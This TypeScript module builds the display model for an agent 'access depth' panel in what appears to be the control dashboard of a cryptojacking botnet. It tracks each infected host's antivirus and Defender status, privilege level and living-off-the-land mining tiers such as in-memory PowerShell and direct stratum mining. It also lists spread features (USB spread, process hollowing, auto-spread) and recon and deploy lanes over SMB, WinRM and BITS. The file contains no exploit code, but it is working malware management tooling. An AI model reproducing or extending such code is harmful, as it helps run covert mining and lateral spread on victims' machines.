import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers'; import type { Agent } from '../types'; import { formatLotlTierLabel, parseTierAttempts, type TierAttempt } from '../types/lotl'; /** Mirrors agent/miner/environment_probe.go */ export interface EnvironmentProbes { docker?: boolean; wsl?: boolean; pwsh?: boolean; dotnet?: boolean; gpu?: boolean; av_blocks_exe?: boolean; webview2?: boolean; } export interface AccessDepthDiagnostics { environment_probes?: EnvironmentProbes; tier_chain_order?: string[]; tier_chain_skipped?: string[]; lotl_tier?: string; lotl_attempts?: TierAttempt[]; active_method?: string; execution_mode?: string; } export interface AccessDepthServerPolicy { lotl_onion_tiers?: string[]; mining_tier_order?: string[]; mining_skip_tiers?: string[]; triple_onion?: { recon_tiers?: string[]; deploy_lanes?: string[]; }; } export interface ProbeChip { key: string; label: string; ok: boolean; } export interface AccessDepthAttemptRow { tier: string; label: string; ok: boolean; error?: string; phase?: string; } export interface OnionTierRow { index: number; tier: string; label: string; status: 'active' | 'skipped' | 'pending' | 'done' | 'failed' | 'neutral'; } export interface AccessDepthModel { platformLabel: string; osLine: string; probes: ProbeChip[]; spreadCaps: string[]; privilegeHints: string[]; activeTier?: string; activeTierLabel?: string; joinLane?: string; succeeded: AccessDepthAttemptRow[]; failed: AccessDepthAttemptRow[]; inProgressTier?: string; inProgressLabel?: string; pendingTiers: string[]; pendingLabels: string[]; miningOnion: OnionTierRow[]; spreadOnion: OnionTierRow[]; tripleOnionSummary?: string; miningOrderSource: 'agent' | 'server' | 'default'; } /** Default mining tier onion pushed at agent auth when Calibrate sends no override. */ export const DEFAULT_MINING_TIER_ORDER = [ 'exe_subprocess', 'docker_load', 'container', 'wsl', 'ps_inmemory', 'cpu_inprocess', 'gpu_subprocess', 'stratum_direct', ] as const; const DEFAULT_TRIPLE_RECON = ['kev_scan', 'vuln_recon', 'service_probe', 'listen_ports']; const DEFAULT_TRIPLE_DEPLOY = [ 'discover_and_join', 'docker', 'wsl', 'powershell', 'dotnet', 'bits_curl', 'smb', 'winrm', ]; export function parseEnvironmentProbes(raw: unknown): EnvironmentProbes | undefined { if (!raw || typeof raw !== 'object') return undefined; const row = raw as Record; const probes: EnvironmentProbes = {}; for (const key of ['docker', 'wsl', 'pwsh', 'dotnet', 'gpu', 'av_blocks_exe', 'webview2'] as const) { if (typeof row[key] === 'boolean') probes[key] = row[key]; } return Object.keys(probes).length > 0 ? probes : undefined; } export function parseAccessDepthDiagnostics(raw: Record): AccessDepthDiagnostics { const attempts = parseTierAttempts(raw.lotl_attempts ?? raw.attempts); const tier_chain_order = Array.isArray(raw.tier_chain_order) ? raw.tier_chain_order.filter((t): t is string => typeof t === 'string' && t.trim() !== '') : undefined; const tier_chain_skipped = Array.isArray(raw.tier_chain_skipped) ? raw.tier_chain_skipped.filter((t): t is string => typeof t === 'string' && t.trim() !== '') : undefined; const lotl_tier = (typeof raw.lotl_tier === 'string' && raw.lotl_tier) || (typeof raw.active_tier === 'string' && raw.active_tier) || undefined; return { environment_probes: parseEnvironmentProbes(raw.environment_probes), tier_chain_order: tier_chain_order?.length ? tier_chain_order : undefined, tier_chain_skipped: tier_chain_skipped?.length ? tier_chain_skipped : undefined, lotl_tier, lotl_attempts: attempts.length ? attempts : undefined, active_method: typeof raw.active_method === 'string' ? raw.active_method : undefined, execution_mode: typeof raw.execution_mode === 'string' ? raw.execution_mode : undefined, }; } function platformLabel(platform?: string): string { const p = (platform || '').toLowerCase(); if (p.includes('win')) return 'Windows'; if (p.includes('darwin') || p.includes('mac')) return 'macOS'; if (p.includes('linux')) return 'Linux'; return platform?.trim() || 'Unknown'; } function probeChips(probes: EnvironmentProbes | undefined, agent: Agent): ProbeChip[] { const p = probes ?? {}; const chips: ProbeChip[] = [ { key: 'docker', label: 'Docker', ok: p.docker === true }, { key: 'wsl', label: 'WSL', ok: p.wsl === true }, { key: 'pwsh', label: 'PowerShell', ok: p.pwsh === true }, { key: 'dotnet', label: 'dotnet', ok: p.dotnet === true }, { key: 'gpu', label: 'GPU', ok: p.gpu === true || agent.gpu_miner_active === true }, { key: 'webview2', label: 'WebView2', ok: p.webview2 === true }, ]; if (p.av_blocks_exe === true) { chips.push({ key: 'av', label: 'AV blocks exe', ok: false }); } return chips.filter((c) => c.ok || probes != null); } function spreadCapabilities(agent: Agent): string[] { const caps = agent.capabilities; const out: string[] = []; if (caps?.auto_spread) out.push('auto_spread'); if (caps?.mesh_p2p) out.push('mesh_p2p'); if (caps?.hole_punch) out.push('hole_punch'); if (caps?.process_hollowing) out.push('process_hollowing'); if (caps?.usb_spread || agent.usb_spread) out.push('usb_spread'); if (caps?.remote_aggressive) out.push('remote_aggressive'); return out; } function privilegeHints(agent: Agent, diag?: AccessDepthDiagnostics): string[] { const hints: string[] = []; if (agent.agent_elevated === true) hints.push('elevated'); else if (agent.agent_elevated === false) hints.push('standard user'); if (agent.defender_rtp === true) hints.push('Defender RTP on'); else if (agent.defender_enabled === true) hints.push('Defender on'); if (agent.ssh_available === true) hints.push('SSH reachable'); if (typeof agent.posture_score === 'number') hints.push(`posture ${agent.posture_score}`); if (diag?.execution_mode) hints.push(`exec ${diag.execution_mode}`); return hints; } function attemptRows(attempts: TierAttempt[]): AccessDepthAttemptRow[] { return attempts.map((a) => ({ tier: a.tier, label: formatLotlTierLabel(a.tier), ok: a.ok, error: a.error, phase: a.phase, })); } function uniqueAttemptTiers(attempts: TierAttempt[]): Set { return new Set(attempts.map((a) => a.tier.trim().toLowerCase())); } function resolveMiningOrder( diag: AccessDepthDiagnostics | undefined, policy: AccessDepthServerPolicy | undefined, agent: Agent, ): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' } { if (diag?.tier_chain_order?.length) { return { order: diag.tier_chain_order, skipped: diag.tier_chain_skipped ?? [], source: 'agent', }; } if (policy?.mining_tier_order?.length) { return { order: policy.mining_tier_order, skipped: policy.mining_skip_tiers ?? [], source: 'server', }; } if (agent.chain_order?.length) { return { order: agent.chain_order, skipped: [], source: 'agent', }; } return { order: [...DEFAULT_MINING_TIER_ORDER], skipped: diag?.tier_chain_skipped ?? [], source: 'default', }; } function buildOnionRows( order: string[], skipped: string[], attempts: TierAttempt[], activeTier?: string, ): OnionTierRow[] { const skippedSet = new Set(skipped.map((s) => s.toLowerCase())); const okSet = new Set(attempts.filter((a) => a.ok).map((a) => a.tier.toLowerCase())); const failSet = new Set(attempts.filter((a) => !a.ok).map((a) => a.tier.toLowerCase())); const active = activeTier?.toLowerCase(); return order.map((tier, i) => { const key = tier.toLowerCase(); let status: OnionTierRow['status'] = 'neutral'; if (active && key === active) status = 'active'; else if (skippedSet.has(key)) status = 'skipped'; else if (okSet.has(key)) status = 'done'; else if (failSet.has(key)) status = 'failed'; else status = 'pending'; return { index: i + 1, tier, label: formatLotlTierLabel(tier), status, }; }); } function computePendingTiers( order: string[], skipped: string[], attempts: TierAttempt[], ): string[] { const skippedSet = new Set(skipped.map((s) => s.toLowerCase())); const touched = uniqueAttemptTiers(attempts); return order.filter((t) => { const key = t.toLowerCase(); return !skippedSet.has(key) && !touched.has(key); }); } function detectInProgress( agent: Agent, attempts: TierAttempt[], pending: string[], activeTier?: string, ): string | undefined { if (agent.status !== 'online') return undefined; if (activeTier) { const lastForActive = [...attempts].reverse().find((a) => a.tier.toLowerCase() === activeTier.toLowerCase()); if (!lastForActive || !lastForActive.ok) return activeTier; } return pending[0]; } export function buildAccessDepthModel( agent: Agent, diagnostics?: AccessDepthDiagnostics, policy?: AccessDepthServerPolicy, ): AccessDepthModel { const attempts = diagnostics?.lotl_attempts ?? agent.lotl_attempts ?? []; const activeTier = diagnostics?.lotl_tier ?? agent.lotl_tier; const { order, skipped, source } = resolveMiningOrder(diagnostics, policy, agent); const pending = computePendingTiers(order, skipped, attempts); const inProgressTier = detectInProgress(agent, attempts, pending, activeTier); const spreadOrder = policy?.lotl_onion_tiers?.length && policy.lotl_onion_tiers.length > 0 ? policy.lotl_onion_tiers : [...DEFAULT_LOTL_ONION_TIERS]; const recon = policy?.triple_onion?.recon_tiers?.length ? policy.triple_onion.recon_tiers : DEFAULT_TRIPLE_RECON; const deploy = policy?.triple_onion?.deploy_lanes?.length ? policy.triple_onion.deploy_lanes : DEFAULT_TRIPLE_DEPLOY; const osParts = [platformLabel(agent.platform)]; if (agent.os_version) osParts.push(agent.os_version); if (agent.arch) osParts.push(agent.arch); return { platformLabel: platformLabel(agent.platform), osLine: osParts.join(' · '), probes: probeChips(diagnostics?.environment_probes, agent), spreadCaps: spreadCapabilities(agent), privilegeHints: privilegeHints(agent, diagnostics), activeTier, activeTierLabel: activeTier ? formatLotlTierLabel(activeTier) : undefined, joinLane: agent.join_lane, succeeded: attemptRows(attempts.filter((a) => a.ok)), failed: attemptRows(attempts.filter((a) => !a.ok)), inProgressTier, inProgressLabel: inProgressTier ? formatLotlTierLabel(inProgressTier) : undefined, pendingTiers: pending, pendingLabels: pending.map(formatLotlTierLabel), miningOnion: buildOnionRows(order, skipped, attempts, activeTier), spreadOnion: spreadOrder.map((tier, i) => ({ index: i + 1, tier, label: formatLotlTierLabel(tier), status: 'neutral' as const, })), tripleOnionSummary: `recon: ${recon.slice(0, 3).join(' → ')}… · deploy: ${deploy.slice(0, 3).join(' → ')}…`, miningOrderSource: source, }; } export function parseAccessDepthServerPolicy(config: { server?: { lotl_onion_tiers?: string[]; triple_onion_policy?: { recon_tiers?: string[]; deploy_lanes?: string[]; }; }; }): AccessDepthServerPolicy { const server = config.server; return { lotl_onion_tiers: server?.lotl_onion_tiers, mining_tier_order: [...DEFAULT_MINING_TIER_ORDER], triple_onion: server?.triple_onion_policy ? { recon_tiers: server.triple_onion_policy.recon_tiers, deploy_lanes: server.triple_onion_policy.deploy_lanes, } : undefined, }; }